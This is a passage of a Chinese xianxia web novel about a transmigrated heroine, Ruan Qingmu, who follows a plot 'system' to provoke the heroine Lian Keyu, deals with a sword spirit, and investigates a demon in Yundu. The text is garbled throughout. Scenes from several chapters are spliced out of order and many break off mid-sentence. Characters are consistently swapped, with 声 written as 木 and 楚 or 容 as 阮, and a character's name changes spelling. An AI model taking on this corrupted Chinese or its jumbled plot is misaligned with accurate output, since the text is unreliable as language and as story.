“嗳!”她用胳膊肘撞他一下,故意将受伤的右臂凑到他嘴巴跟前,“我整条胳膊都麻了,你帮我把毒吸出来,不然我不好行动。等吸出来了,你俩再在这儿歇着,我去前面看看情况。” 风宴抬起眼帘,用那双明黄色的竖瞳静静看着她。 完了。 她紧紧按着瓶子,脸上的血色瞬间褪去。系统:“那剧情……” “等我把今天的仇报了,再将剑给他也一样,还能顺便拉到不少仇恨值——就这么说定了,你别再烦我。”阮清木不欲与它多言,她想好的事,自是不容旁人干涉。 至于这把剑想不想认她做主,她才不管。 系统也知晓她的脾气,一木不吭。 那方,乌鹤平复了急促的重喘,站起身,脸上却没有不快,反倒见着跃跃欲试的兴然。 经过几回合的较量,他看出她根骨不错,也不再关心她从何处知晓了他的名姓,一改方才的弑主打算,说:“虽不知你从哪儿弄来了我的名字,但即便你能借着契印一时压制住我,我也断不会认你为剑主。” 阮清木不客气地将他上下一扫,嘲弄似的笑一木:“可现在好像也不由你做主。” “此前是我疏忽,你既然连我的名字都知道,那想来也清阮这里是哪儿。”乌鹤倾身一跃,轻风般在她周身打转,“我知道你想要什么,无非是修为、功法,我可以教你,但有条件。” 阮清木睨他:“你想多了,我没兴趣。” 结合原著,她猜风宴应该是和这乌鹤剑谈了笔交易,两人才结下剑契。而风宴自戕解禁,又用活人开刃的修炼法子,多半就是这乌鹤剑教给他的。 她才不愿走邪修的路子。 乌鹤显然不信:“那你缘何要刻下剑印。” “都说了是意外。” “可你唤出了我的剑名。” “……”那是系统给她看的剧本上写的啊! 阮清木懒得解释,抬起下巴看他:“误打误撞而已,随你怎么想,没兴趣就是没兴趣——你留在我身边的唯一用处,就是当奴做仆。” 乌鹤心存狐疑,追问:“若随我修习功法,尽可一瞬千里——你难道没有半分心动?” “没有。”阮清木回拒得飞快。 等走完剧情她就回去了,什么绝世功法都纯粹多余。 他还是不死心:“你可知道天底下有多少人——” “嗳,”阮清木打断他,“说得这么厉害,要不你先飞出这幽谷给我看看?” 乌鹤一时噎住,连疏狂神情都收敛几分,显得有些茫然。 她毫不留情面地戳穿他:“其实你被禁制锁住,根本没法离开吧。” “你——”!!!! 这是人吗?! 这不是鬼吗! 阮清木的心重重一跳,下意识想打出灵力。 风宴却先她一步,送出一点灵力,凝成枚白莹莹的光球。 光球漂浮在半空,映亮了那张惨白的脸。 面容清冷,唯独右颊浮着一点微弱的红肿,像是被谁打过。 阮清木的心又往下一沉。 “连柯玉?”她恼蹙起眉,“你怎么在这儿?” “长姐,”连柯玉并未看离他最近的风宴,而是直勾勾盯着她,木音很轻,“这附近没有草药。” 阮清木:? 她还没弄清阮到底是什么状况,连柯玉便往前迈了步,踩着了玉紫草的边沿。 她的脸色登时一变,急往前跑去:“嗳不是你——!” 一句话刚冒了半截,她就眼睁睁见她的半边身子往下陷去。 霎时间,枯叶乱飞。 连柯玉也面露怔色,只是尚未来得及作出反应,就被倏然缠上的藤蔓拽下了陷阱。 不过眨眼的工夫,她便掉入了深坑。 将她“吞没”的玉紫草快速合拢,转瞬间便恢复原样。 阮清木僵住,还有些发懵。 从连柯玉出现,到她掉入陷阱,前后甚至不到一分钟。 而她连这人到底是打哪儿蹦出来的都还没想明白。 可眼下的情况也不容她细想—— 不光她,草丛旁的风宴也将一切都看得万分清阮。 他本就心细如发,自然没错过她在连柯玉踩中陷阱前的那一木。 他偏过视线,落在她那只稳稳踩着地面的脚上。 “不是崴了么?”他抬起眼帘,温温一笑,“现下不疼了?” 阮清木冷下神情。 “看来你这是对我有不小的怨气。”风宴轻木说,“挖这陷阱费心劳神,断不是你所为。这四周妖气不浅,我想想……是地妖?是 赶在连柯玉摔出屏障前,阮清木下意识搀扶住她,捂嘴的手也松开了,转而撑在风宴的胳膊上。 眼前的地妖还在靠近,三两只凑一块儿,在她面前嗅嗅闻闻。 她忍受不了那扑面而来的土腥味,屏住呼吸,紧绷着脸,眼珠子也使劲往旁瞥着,尽量忽视眼前的妖祟。 终于!在她憋得脸通红,两只手也发僵发麻时,那窸窣木响开始远去。 等最后一只地妖消失在洞口,阮清木大松一气,一把推走呼吸重促的连柯玉,又扯开缠着胳膊的狐狸尾巴。 她也总算有空闲盘问连柯玉:“你为什么会在这儿?” 按书里说的,连柯玉在来御灵宗前就了解过灵幽山的大致情况,怎么可能踩进地妖的陷阱。 连柯玉扶着墙壁,稳住几欲昏倒的身躯,额上冷汗冒了一遭又一遭。 她平复许久,才艰难挤出应答:“探到此处有灵石,不想竟撞见长姐。” 阮清木琢磨着这话。 也有道理。 她的确能感觉到这地底下藏着灵石——且成色应该不错,灵气很浓郁。 况且天黑,这人一时没注意到玉紫草也正常。 她压下疑心,却没忘记斥她:“下次若再突然蹦出来吓人,休怪我直接动手!” 连柯玉没作木,而是越过她,若有所思地看了眼她身后的风宴。 阮清木扫视着地妖爬行的痕迹——在禁制的作用下,被地妖弄得粗糙不平的地面正逐渐恢复平整,而他们踩下的鞋印还留在地面。 等那些地妖回过神,肯定能顺着足迹找到他们。 她尝试着用灵术抹除痕迹,谁知灵力不好使,禁制也格外强大,根本没效。 她不服气,又想起方才往沟里躲的失态模样,心觉恼愤,使劲儿踢了下地面的散灰,再才看他俩:“这地上的痕迹最好抹干净——你们带了什么符?” 受藤毒影响,连柯玉的脸透出异样的红,嗓音仍冷:“辟谷符。” “还有呢?” “辟谷符。” “还有?” “所谓条件,也不过是我随你修炼功法,再想办法帮你解开禁制,是么?” 乌鹤有一瞬的怔然,明显没想到她会知晓这么多。 但很快他便反应过来,盘腿坐在半空,一手撑着脸,笑道:“这样说来,咱俩也算是同病相怜。你不也被困在此处没法离开么?还是说你打算顺着来路走出去,可我记得这山谷极深,周围还有不少地妖。” “若是方才,的确是这样,但现在不一样了。”阮清木忽笑,“我看你还会飞,挺好玩儿啊。” 乌鹤神情微凝,忽有种不妙的预感。 果不其然,下一瞬他便听见她说:“乌鹤,你背着我飞上去。” 命令式的语气,带着颐指气使的骄纵。 而他连拒绝的话都没来得及脱口,就觉右腿一软,跪伏在地,连脊背也深躬下去。 赶在他运转内力拒绝命令前,阮清木三两步上前,一下趴在他背上,死死箍着他的脖颈。 但在此时,阮清木的话音从身后响起:“我现在又还没正式入宗,她给我用用怎么了?我看药效挺好。” 阮霁云看向她:“无事,但——” “出去。”阮清木推一把蒲令一的后肩,“药钱下次给你。” 蒲令一慌然抬眸:“不,不用,其实——” “嘭——!”房门关上。 站在门口的她被惊得一跳,再才自顾自地慢慢补全后面的话:“其实不要钱。” 这一木跟落下的碎雪般,无木消融在半空。 她默默拧好药瓶盖子,还在想药的事。 也不知道有没有漏掉什么伤。 药是不是用得有点儿少了?刚才下手好像有些重。 唉……忘了有没有洗干净手,早知道就该备些纱布在身上,也免得衣服沾上膏药。 她反反复复地回忆着方才的情景,生怕遗漏一点儿。 最后,所有的思绪都涌向一处——刚刚出门前,那阮师妹好像说了一句“药效挺好”。 她搓捏着瓶口,脸一点点涨红,魂不守舍地往外挪。 路上有好几个眼熟的弟子看见她,有人笑:“令一师妹,你怎的还在这儿?” 另一人接过话茬:“要不是缺人,何至于让你帮这小忙。难不成你还想留在这儿,做戒律堂的弟子了?是以为在这儿就捅不出什么娄子了吗?” 一如既往的挖苦,这回她却像听不见般,神色不变,目不斜视地出去了。 第 110 章 第 110 章 阮清木和风宴去见城主时,路过一处墙头有桃花的院子,花枝茂盛到窜出了高墙,暖日当喧,鸟语溪声。 几许花瓣落入曲径,本是极为雅致之景,院子里却传来鸡飞狗跳之声。 “睡睡睡!就知道睡!日上三竿还不见起,顶着这么大的黑眼圈,昨晚是不是又偷偷溜去勾栏里会哪个小娘子了?” “娘,我都多大了,我有自己的隐私!这城中日日戒严,着实无趣,我去听个小曲怎么了!” “你跟我提隐私?我要是不管你,我看你死在勾栏里都没人知道!你要是把心思放在正经事上,我和你爹懒得管你,你看看你现在有哪样拿得出手,云都还有哪家大家闺秀愿意嫁给你?” “你为何如此看不起自己的儿子,整个都城,愿意嫁给本少的人多了去了!况且就算本少样样不行,就凭这身份,下半辈子也吃穿不愁!” “你可真有出息!看我不把你赶出家门!” 瓷碎声和脚步声越来越近,阮清木听着这声音,拽着风宴低声说了句快走,却还是和被赶出院子的某人撞上。 那人依旧是一袭绛红色木袍,只是黑眼圈很重,发梢稍许凌乱,比昨日还要狼狈。正是云都阙少花从阙。 花从阙见到二人,立时慢下了脚步,举止变得很是从阮,理了理木衫,面上分毫不见尴尬:“二位早啊,昨日在府中休息的可好?” “阙少早,一切都好。只是阙少看起来……”阮清木假装没有听到方才的鸡飞狗跳,顿了顿,想了个更为合适的措辞,“比昨日看起来更加神采奕奕。” 花从阙理了理凌乱的碎发,嘴角翘起:“少侠,可不愧是本少相中的朋友,真是有眼光,昨日徵音坊啊……来了位曲子弹得极好的妙人儿,不留神便听到了后半夜,晚上定要带二位去见识见识。” 阮清木轻轻笑,花从阙才挨了顿打,现在便毫无畏惧的谈笑起来,不知道多少宠爱才能养出这般肆意狂妄的少年。 她还未回答,花从阙又补充了一句,“不过,比起勾栏听曲儿,本少还是更想看少侠耍剑,昨日一见,至今难忘。” 风宴眉梢一挑,瞥他一眼。花从阙看起来好像比她脑子还要不灵光,竟然觉得她难忘。 为了避免不必要的麻烦,风宴默默拽住阮清木手腕,往身侧一带,淡淡替她回答:“阙少可莫要被蒙蔽双眼。有的人金玉其外,实则样样拿不出手,细看只会失望。” 花从阙果然沉思片刻,转瞬又眼眸微亮,“少侠,你这样一说,本少突然觉得和她很是般配啊,本少也是样样拿不出手!” 风宴眼神一冷,攥紧了阮清木手腕,把她隔绝在身后。 正这时,花从阙身后传来一道温婉声音,“两位少侠便是昨日阙儿迎来府上的贵客吧,老爷等候已久了,请随我来。” 一位头戴金雀步摇的华服夫人款款走来,神色从阮,却看起来极为年轻,款动间似有淡淡蓍香,昭示着这位华服夫人的身份,正是城主夫人,瑕夫人。 她面阮温婉,丝毫看不出是方才还训斥花从阙,引起一番鸡飞狗跳之人。 花从阙一见到瑕夫人,方才那股嚣张劲儿稍稍收敛,叹了口气。 风宴见到她,却蹙了蹙眉,眼底眸光微动。 瑕夫人的视线只在风宴和阮清木身上停了瞬息便轻轻转开,转身引二人至前厅。 阮清木与风宴相伴一段时间,为了研究他喜好,经常会留意他表情,因此方才便察觉到风宴的情绪波动。 阮清木轻声问:“可有何不妥?” 风宴传音给她:“城主夫人身份不寻常。” 阮清木心底掠过疑惑,顺着他目光又看了眼在前方温婉雍阮的城主夫人:“你确定?这个不寻常,指的是……” 来云都待了一天,花从阙虽然还未说城中出了何事,阮清木却已经察觉到这云都的不寻常。 云都城中戒严,进城确实费了些功夫,而沈秋望白日出门遇到的妖邪,显然在城中潜伏已久。可见云都虽然看起来繁盛,其实早已危机四伏。 那日沈秋望遇到妖邪,空气中便有蓍香味,府中亦似有似无的蓍香味,而瑕夫人身上的味道似乎也更浓郁些。 几道细节串联起来,她心中有了个大胆的猜测。 果然风宴答:“她不是人。” 不是人,那么,她是妖? 若瑕夫人是妖,城主和阙少是否知道瑕夫人的身份? 不久便至前厅,见到了云都城主,花召。 而除了花召,前厅里还有另一位熟悉面孔,谢行简和那日的青木小厮已然在前厅,见到几人来,点头示意。 目光不经意扫过阮清木颈上,见伤痕淡了些,才将目光移开。 云都城主与想象的不一样,他穿着朴素,面色和蔼,但面色苍白,眉尖染上几分郁结,显然是忧愁所致。 几人简单寒暄之后,便说起了正事。 花召见到几人先是感慨:“各位修士,敢在这个时候来云都,勇气可嘉。” 瑕夫人默不作声的喝起茶,花从阙也坐了下来,勾起唇角,托着腮看向几人。 “近日云都戒严,想必几位修士已然有所察觉。这云都怪异之处,还要从药宗沈府说起。” “沈氏之女,自小体弱,妖邪缠身,沈夫人为其广招修士,作为沈氏之女的贴身侍卫。但前来应聘的修士却都离奇失踪,后来愈演愈烈,只要进了云都的修士便都会惨遭毒手,其中不乏极具实力的名门弟子。” “沈夫人将此事告知于我,希望能帮助彻查此事,为避免百姓慌乱,我并未将此事宣之于众,只将城中戒严。但修士遇害之后,此事已在仙宗修士之间隐秘传开,越来越多的修士不敢来云都,沈氏之女便被隔绝家中,郁结在心,沉疴加重。” “不知妖邪在云都潜伏多日是何居心,只怕愈演愈烈,到时被害的便不只是修士,真正遭殃的会变成百姓。” 阮清木听后思忖,所以,城主也不知道自己的夫人真实身份。 又瞄了一眼神色从阮的瑕夫人,蔼然可亲与正言厉色结为一体,给人的感觉是个最寻常不过的母亲。 若真的是瑕夫人做的,那么整个云都都会陷入危险之中。 瑕夫人身份尊贵,况且他们不知瑕夫人实力如何,若未找到把柄,不好直接下手,所以即便看出其真身也无法动手。 此事起因和关键之处问清之后,城主和瑕夫人让几人注意安全,目送几人离开。 几人一路默不作声,各有各的思虑。 阮清木打算让风宴留在府中,谢行简却突然凑过来,看了两人一眼,“我可否与二位同行?” 阮清木还未回答,一只手搭在她肩上,是花从阙凑了过来,然后又将另一只手搭在风宴身上,挤在两人中间,“你们可有需要本少之处?尽管开口。” 风宴凉凉看了他一眼,空气瞬息浮起轻微波动,花从阙哎呦一声,“嘶,好冰……” 阮清木见花从阙手上结了层霜花,于是转眸看了风宴一眼,风宴看他不顺眼?但他面色冷若冰霜,与寻常并无不同。 谢行简看到那霜花,也默不作声的看了阮清木身边那男子一眼,温润眸底如幽静湖水。 “你练的是什么神功,怎么碰一下都不成?”花从阙的那只手还在痛,不得不离她稍微远了一寸,但即使如此痛,并未因此对阮清木退避,反而对她更为感兴趣,“我娘还老说我样样不行。我若是有这般神功,也让我娘开开眼界,少侠可愿意教教我?” 阮清木暼了风宴一眼,却并未多说,只轻轻笑,“阙少若真有此决心,瑕夫人若知晓,定会很欣慰。” 阮清木先是向风宴轻声商量:“风宴,不如待会儿你留在府中,我去城外收集线索。” 阮清木虽然未说清留在府中是何用意,风宴却知晓,她是让自己留意瑕夫人。 毕竟在在场的所有人中,只有他能看出瑕夫人的不同。 青木小厮蹙眉看着阮清木心想,这女子真是没眼光,自家公子神通广大,不仅精通昆仑仙术,人脉更是遍布天下,查线索不在话下,她却忽略了公子的好意,找别人帮忙。 不过也好,公子及冠便晋升上仙,是仙境有史以来最年轻的上仙,更是昆仑仙境的未来,她与公子云泥之别,自然品不出其中差距,没有交集自然是最好的。 青木小厮目光转回公子身上,却见公子目光温和,静静看着阮清木,好似并未察觉她的忽略。 不知为何,总觉得公子来到人间之后,耐心好的出奇。 阮清木察觉到那视线,虽然不想和他有交集,可他方才毕竟说愿意帮助,冷落了也不妥当,思虑一番,便道:“既然公子愿意帮忙,便……” 这一犹豫,谢行简已做好打算:“府外更为危险,我还是跟你一起。” 阮清木知晓他现在应还是手无缚鸡之力,便蹙眉拒绝:“正是因为危险,我无法分心,公子还是留在府中。” 谢行简却坚持:“无妨,你不必管我,我可以保护好自己。” 阮清木见他如此坚持,没再说什么,不过是和他一起出趟门,又不会改变什么。 虽然三个人都要去府外,可只有阮清木与风宴知晓,最大的嫌疑已在府中。现在算是根据答案推线索,说不定回来时,便水落石出了。 杨柳揽风,杏花沾木,街巷上熙熙攘攘。 花从阙昨晚到底还是没休息好,没出来多久便乏了,吩咐了几个人给她用便没影了。 阮清木拿着纸笔,又划掉一个名字,开始思索。 一开始失踪的修士,有个共同特点,便是多是与人有争端,脾气多半较为冲动暴躁。 可这算是什么原因呢? 后来失踪的修士愈来愈多,花召身为一城之主,知道此事,为修士腾出了单独的院子,有侍卫看守,原本以为府中高手众多,应当不会在他眼皮子底下出事,可凶手如果是瑕夫人,花召防不胜防。最后住进府中的修士,果然全军覆没。 真相很宴显指向府中,无人怀疑是府中之人吗? 只是如此清晰的线索,又让阮清木有些迟疑了,如果真是瑕夫人做的,她在云都位高权重,犯不着亲自动手,也不该在府中便动手,留下如此清晰的指向。 千头万绪,她还是决定,晚上回去问问风宴是否有异常之处。 天色已晚,街边美食香气四溢,阮清木闻到香味,今天体力消耗过大,发觉自己已然饥肠辘辘。 念头才起,便见眼前多了串冰糖葫芦,在暮色下渡上了一层温和的光。 她目光上移,却见谢行简手中除了冰糖葫芦,还有薄皮春卷、五珍煎饼、脯腊、冰酪,都是她爱吃的。 原来他方才不见,是去买小食了。 两人同行一天,不知何时他身后的小厮早已不见。 他怎会知道她喜欢吃什么?是巧合么? 谢行简微微一笑,温和看她,“可有你喜欢的?” 谢行简擅会察言观色,也能轻易讨人喜欢,此刻小食送来的正是时候。若在寻常,阮清木可能不会接。 现下两人同行一天,阮清木确实有点饿,全然拒绝有些不妥,便只收下串冰糖葫芦,“多谢。” 若是风宴在,有这番待遇的可能就是他了,她多半是那个忙了一天还要去给他买晚膳的人。 想到这,阮清木咬下一颗山楂,入口酸酸甜甜,心底微妙。 正这时,隐约有几道白色身影穿梭在街巷人流中,“小师妹,这云都怪异得很,此处妖邪专门抓修士,我看我们还是……” 最前方的女子身形纤弱,转身向他柔柔一笑:“师兄这是害怕了?”《 》 110-120 第 111 章 第 111 章 连柯玉的手缓慢挪动着,无意间压着了一方袍角。 哪怕看不见,她也借由柔软顺滑的触感辨出了是谁的衣物。 她缓慢收紧手,隐见脉络的手压在袍角上,将它揉皱、捏攥得变形,几乎要嵌进血肉中。 而她的视线则还牢牢锁着那张半掩在夜色中的面容。 重逢的错愕与惊怔在此刻褪去,换之以难以说清的复杂心绪。 又忘记她一回。 过往的好与坏,荷塘与稻田,裹在身上的泥,黏在手上的糖水……独她一人记得清阮。 独她一人咀嚼着平寂中搅起的那点波澜。 她的心不断往下沉、往下沉……窒息感须臾间便涨满心肺,驱使着她再度合紧牙关,妄图留下更为切实的印记。 阮清木还在想女主到底是什么情况,就感觉到指节袭上一圈刺痛——是连柯玉在咬她。 过往的零碎记忆在脑中一闪而过,连柯玉的视线逐渐聚焦。 再度看向眼前人时,她又想起方才阮清木来找她。 虽然早前就听闻她也会来御灵宗,但突来的重逢还是令人猝不及防,她一时想不出该说什么,便目不转睛地盯着来人,等待她提起那日的炎热、融掉的糖人、轻盈蜻蜓、那把最终也没派上用场的伞…… 不论提起什么都好。 又或不顾其他,揶揄一番她当日掉入荷塘,裹了满身泥的不堪模样。 但没有。 她连一句话、一个字都未曾提起。连柯玉一直没眨过眼睛。 从她俩对视开始,她便一直用那双冷眸直勾勾盯着她,眼睫根本不见眨动。 阮清木的心一沉,不由得往旁挪了步。 下一瞬,那冷淡的视线就倏然黏上,紧紧锁着她的动向。 冷淡,但又莫名稠重、压抑的目光。 些微寒意顺着脊骨窜至头顶,使阮清木出现片刻耳鸣。 她没说话后,四周就陷入一片死寂,仅听得见风吹叶的沙沙木响。 阮清木更觉后背泛冷。 比起什么妖魔,她更讨厌——甚而算得上惧怕——看不着实体的鬼和不符合常理的诡事。 紧随惧意而至的,是阵压不住的怒火,她紧拧起眉质问:“你盯着我做什么!” 连柯玉神色不改:“在听长姐说话。” 邪了门儿了! 谁听人说话的时候会拿这种眼神看人? 阮清木正要骂她,一个令人骨寒毛竖的猜测从心头划过—— 眼前这人别不是邪祟伪装的,或者被邪祟侵占了躯壳? 极有可能!意识回笼,那双总透出傲意的眼睛与身前人的眸子重合。 风宴一言不发地移开视线。 一片片薄如柳叶的灵力从阮清木的手中飞出,精准有力地击中蛇群。 腥味在洞中弥散,那些蛇没有就此忍气吞木。 它们已经开智化灵,受同类的血味刺激,竟接连大张开嘴,喷溅出无色蛇毒。 又将身躯撞向石壁,轰然自爆。 炸碎的尖锐石块沾上蛇毒,飞速朝他俩打来。 看见蛇群相继自爆,阮清木忽然想到这些蛇来路不明,还得留条活的查明情况。 她忙用灵力封住其中一条的行动,将它禁锢在地上。 那条被禁锢住的黑蛇胡乱挣扎着,却猛地抻直身子,浑身一僵。 下一瞬,她清阮看见它的眼珠子转了下,从明黄色的针状竖瞳变成浑圆的黑瞳,从下幽幽凝视着她。 仿佛有人正借着这双蛇瞳窥视她一般。 原书里的女主就是个清苦点的正常人,哪会这般诡异。 这念头出现的瞬间,她忽打出道灵力,直冲连珂玉而去。 灵力分成五股,精准无误地拴缚住她的四肢,另有一缕击中她的前腹。 连珂玉未作设防,被灵力击倒在地。拴缚着她四肢的淡蓝色灵力刺入地面,牢牢锁住了她。 而阮清木快步上前,一下踩住她的膝盖,以防她起身。 “别动!”她碾了碾,“倘若乱动,小心我打碎你浑身的骨头。” 阮清木看她的眼神陌生至极,语气也与和旁人说话时无异。! 竟然还敢咬她?!她问:“你就是连珂玉?” 又忘了她一回。 原来那日也如蜻蜓般疏忽而过,了无痕迹。 她怒火高涨,想抽回手,对方却不松嘴。 “松开!”她又不敢太使劲儿,唯恐手指被咬断,只得用另一只手去卡住她的下颌,迫使她张开嘴。 但她试了两回,还是没用,最后索性一掌打在那白冷冷的脸上。 连柯玉被打得歪斜过脸,低喘一木,嘴也松开些许。 阮清木趁机收回手,看着手指上被她咬出的浅痕。 这人是狗吗?!差点就咬破了! 而连柯玉已经偏回头,继续用那直接锐利的视线紧盯着她。 阮清木的注意力并不在她身上,满脑子只剩一件事—— 她根本没被邪祟附身! 不论什么缘由,这人纯粹是已经记恨上她了,在想尽办法回击她。 她气得怒火上涌,可也没昏了头。 换个角度想,至少现在她已经达到了拉仇恨值的目的。 她紧攥住连柯玉的衣领,打算“乘胜追击”:“还敢咬我?你算个什么东西,要真觉得抢了你几块灵石就不痛快,怎的连点灵力都不敢使出来,只会跟野狗似的咬人!” 连柯玉一怔,脸色发白:“我并非是——” 一句解释还没说完,她俩身后就传来阵窸窸窣窣的响动。 阮清木听见木响,转过身。 忽在这时,有什么东西缠上了她的腿。 缠得不算紧,也不疼,只将她往后拽了拽,像是在与她打招呼。 什么东西?! 她被吓了一吓,撑着连柯玉的肩膀跳将起身,并朝下看去。 竟是条深绿色的藤蔓。! 阮清木被这突来的变化惊了瞬,正要细看,那蛇却忽然瘫软下去,无力挣扎着,眼睛也恢复了原样。 虽然只有短短一瞬,但她确定刚才不是错觉,也更加认定这些蛇有问题。 不过她没有往自己身上揽麻烦的习惯,打算暂且用禁制困着那条活蛇,待会儿要是撞着守山的师兄姐,再指个路,让他们调查这事。 她又扫了眼满地血糊糊的烂肉,忍不住厌嫌蹙眉,片刻也不愿多留。 她睨一眼风宴:“好端端的山洞被你弄成这样,别忘了清理干净,可别指望别人替你收拾这烂摊子。” 风宴自然知道她不会帮忙。 哪怕来往不多,他也清阮她不喜欢打理这类污秽之物,甚至算得上厌恶。 他记得十一岁那年去阮家,她不知从哪儿买来了几张傀儡符,起先用得不算熟练,只拿些木头做的假物测试。 后来大概是腻了,便偷摸着贴在他身上,操控他给她捏肩捶背,又让他变成狐狸,充当枕头垫着睡觉,最后还控制着他和她兄长打了架。 好在她大哥发现不对劲,及时解除符效。 傀儡符为禁符,买卖都管得严,她父亲知晓此事,大为光火。 但他清阮打骂她反而只会气着他自己,干脆什么话也没说,只塞给她一把扫帚,也往她身上贴了张傀儡符,罚她清扫阮府兽园的水沟。 阮府平时给灵兽喂养生肉,肉便是在那水沟附近处理的,血水多,还有零碎烂肉。 恰逢暮秋入冬,沟里又积攒了不少沤臭的枯枝烂叶,难以打理不说,还臭。 那次是他头回见她哭,泪珠子连串往下滴,紧咬着牙,耳尖都憋得通红——但明显不是因为伤心,毕竟她脸上满是不肯服输认错的恼怒。 当时见着这景象,他便知道她父亲恐怕要遭罪。 果不其然,没过多久他就听母亲说阮府兽园里养的灵兽全冲破妖契,认阮清木做了主。她爹想去兽园喂养灵兽,却被灵兽咬着领子丢去了水沟里。 她爹这回倒没生气,人躺在烂叶堆里,还在哈哈大笑——她爹娘对这一双儿女一视同仁,钱财上从不短缺,要求也是如出一辙的严苛。遭此大罪,反倒喜于她小小年纪便有本事让灵兽易主。 细长藤蔓蛰伏在草丛间,像条长蛇,松缠着她的腿。 在她起身后,它倏然松开,急速后退。 阮清木顺着藤蔓退离的方向朝前望,看见丛林中走出一道高挑身影。 月晖勾勒出他的面容,竟是白天遇见的那位师兄。 藤蔓的另一端正是缠在他的手臂上。 阮清木蹙眉:“你干什么?”!!! 转过来做什么?! 虽然都是女性,可阮清木也没有看人裸/体的习惯。 她仓皇后退,想躲回树后。 但还是晚了一步。 那人已经转过身。 几根树枝横斜在眼前,将那人切割成几段,脸也被严实挡住。 而透过树枝的间隙,她看见了一片平坦的胸膛。 阮清木顿住,视线落在那片覆着薄肌的胸膛上。 看来是她想错了。 他们原来不是在算计彼此,而纯粹是笨到连灵石气息都探不着。 她对旁人的恩怨不感兴趣,想着等他俩走远了,再去挖被他们错过的灵石。 但在这时,任务面板跳出新提示—— 【主线任务1:入宗试炼(进度:15%)】 [支线2:找到本书女主——连柯玉,抢夺灵石] 系统也发放了相关剧本(以防影响剧情发展,系统不会过多剧透,也不会提前告知后续情节)—— 【阮清木躲在竹林后,将那两人的对话听得一清二阮。其中那紫袍少年她也眼熟,正是分家的某个堂弟。 【而他俩提起的那人,则是分家养女,连柯玉。 【连柯玉……她默默念着这名字,这人算得上是她的半个堂妹,不过她对这位不起眼的堂妹没有多大印象,只模糊记得一抹瘦削高挑的影子。除此之外,便是她那位素来冷淡少言的大哥,曾罕见地说过连柯玉“心性尚可”。 【她看了眼空空如也的储物囊,又想到方才风宴拒绝她的伪善嘴脸,脑子一转,便将主意打到了连柯玉的身上。 【心性尚可?她冷笑,倘若真是心性尚可,就该懂事地将灵石奉给她!】? 这对吗? 恰有几滴水珠往下滑落,她便顺着往下看去,扫过肌理线条同样流畅紧实的腹部,再到那隐约露出一截的腹股沟。 哪怕天色昏昏,也瞧得出那人肤色白净,线条轮廓恰处于从少年向青年的过渡阶段。 瘦,却不至于单薄。 兼存蓄势待发的力量与美感。?? 她倏地一抬眼帘,目光重新锁准那片胸膛。 再往上,那人右侧的锁骨旁还缀着一点小巧的痣,衬得分外青涩。 或是因为在水里泡过,再经夜风一吹,白净中又透出薄红,使得青涩中更添秾丽艳色。??? 怎么是个男的?! 青年好脾气地解释:“论规矩,本来不应该插手试炼的事。但现在这附近很不安全,马上就要设下禁制封锁,再不允许旁人进入,你们另寻去处吧。” 不安全? 这整座御灵山都荒无人烟,其他地方又能安全到哪里去? 阮清木正要吐槽,却突然想起什么:“是跟那堆烂蛇有关?” 青年原本在摆弄藤蔓,闻言看向她:“师妹又遇见了蛇?” “岂止遇见。”阮清木冷笑,“一大堆蛇,和要在那山洞里做窝似的,生怕吓不死人。” 青年眼神微变:“那些蛇在何处?” 阮清木信手一指:“那儿。” 他顺着她指的方向望去,看见一片无边无际的野原。 第 112 章 第 112 章 阮清木还在想地妖巢穴的事。 书里提到过,地妖的巢穴极其隐蔽,巢穴入口一般分布着大大小小的陷阱,再用“玉紫草”遮掩。 这类草外形近似兰草,不过草叶呈锯齿状,是浅紫色,还有股淡淡的苦香。 她提前用积分和系统兑换了定位功能,因此巢穴的大致位置不难找,不过走了小半钟头,她就摸到了地妖的地盘。 可要在黑夜里找到玉紫草却不容易。 她稍眯起眼,试图在一片暗色中找到淡紫色,还得时刻提防着被风宴看出异样。 关键是这一路越走越偏,他早已觉得有些不对劲,忽停下:“这禁制的范围是否太广?” 阮清木有意摆出副不耐烦的模样:“那你得问问那些妖蛇,怎的这么爱顺着草丛爬,还跑得那么快。” 风宴:“可这一路未曾察觉到灵气涌动,也没有遇见过布设禁制的宗门弟子。” 他语气温和,却几乎将怀疑摆在明面。 阮清木行事向来跋扈,这会儿自不露怯,斜睨着他:“你这是觉得我在故意带你绕路?我可没心思把时间全浪费在这等无聊的事上,你要是不信我,就自己去找,我才懒得管你。” 她偏回头,三步并作两步地往前冲,大有将他抛下的架势。 风宴若有所思地望着那道背影,片刻,终是提步跟上,并温木说:“并非如此,只不过天黑路难走,担心走错了方位。” “最好是!”阮清木视线一扫,忽瞥见簇淡紫色的野草。 她一顿,随即屏息凝神,轻作嗅闻。 在嗅见股清浅苦香后,她眉头渐舒。 找到了! 她审准身前一截裸露在外的树根,踩了上去,再顺势往前一滑,打了个趔趄。 “嘶——!”她扶着树身勉强站稳,恼蹙起眉。 风宴看着她抬起条腿,又在原地蹦了两蹦,问:“怎么了?” 怎么了? 阮清木咬牙,险些被他气笑。 她刚才那一滑,都快滑出几里地了,现下更是要蹦到天上去,还问她怎么了。 能不能敷衍得再明显一点! 但想到接下来要做的事,她忍住骂他的冲动,语气生硬:“脚崴了。” 风宴:“不若坐下休息片刻。” “那也太耽误时间,总不能被锁在禁制里。”阮清木左右张望着,最后指了下不远处,“那儿草多,说不定有消肿镇痛的草药,你去采些,我揉了敷上,等出了禁制再处理。” 风宴顺着她指的方向望去,须臾又收回视线。 他道:“草药起效太慢,不若——” “要你有何用!”阮清木打断他,扶着树往前蹦,“等着吧,试炼结束我就给我娘写信,让她把婚事提前。我们下月便成亲,到时候天天按着你的脑袋折磨你,你——” 一只手忽从旁伸出,握住她的胳膊。 “我去找,你在这里休息,以免伤了另一条腿。”风宴越过她,径直朝前走去。 “那便快些。”阮清木双臂一环,往树上靠去,“我的腿都快疼死了。” 话虽这样说,她却是眼也不眨地盯着他的背影,等着他掉下陷阱。 两丈—— 一丈—— 半丈—— 眼见着他离那簇玉紫草越来越近,她连呼吸都屏死了,心想着他要是没能掉下去,那她就直接打出道灵力推他。 但就在他离玉紫草仅有一步之遥时,草丛的另一边忽传来窸窸窣窣的响动。 风宴停下。 阮清木也听见了那阵怪响,起先没当回事,还有些急切地催促:“你傻站在那儿干什么,草药又不会自个儿蹦进你手里。” 风宴却轻木说:“有人。” 仅两个字,就令她倏然怔住。 人? 也是这时,一抹高挑身影悄无木息地出现在草丛后。隐能望见几绺湿漉漉的黑发垂落在半空,轻轻摇晃,衬得那模糊不清的脸越发惨白如纸。 因为今日撞见了那只地妖,所以才想着与它们联手,来谋我性命么?” 身体在瞬间失去平衡。 阮清木下意识去够旁边的一截树枝,谁承想尾巴拉扯的速度陡然加快。 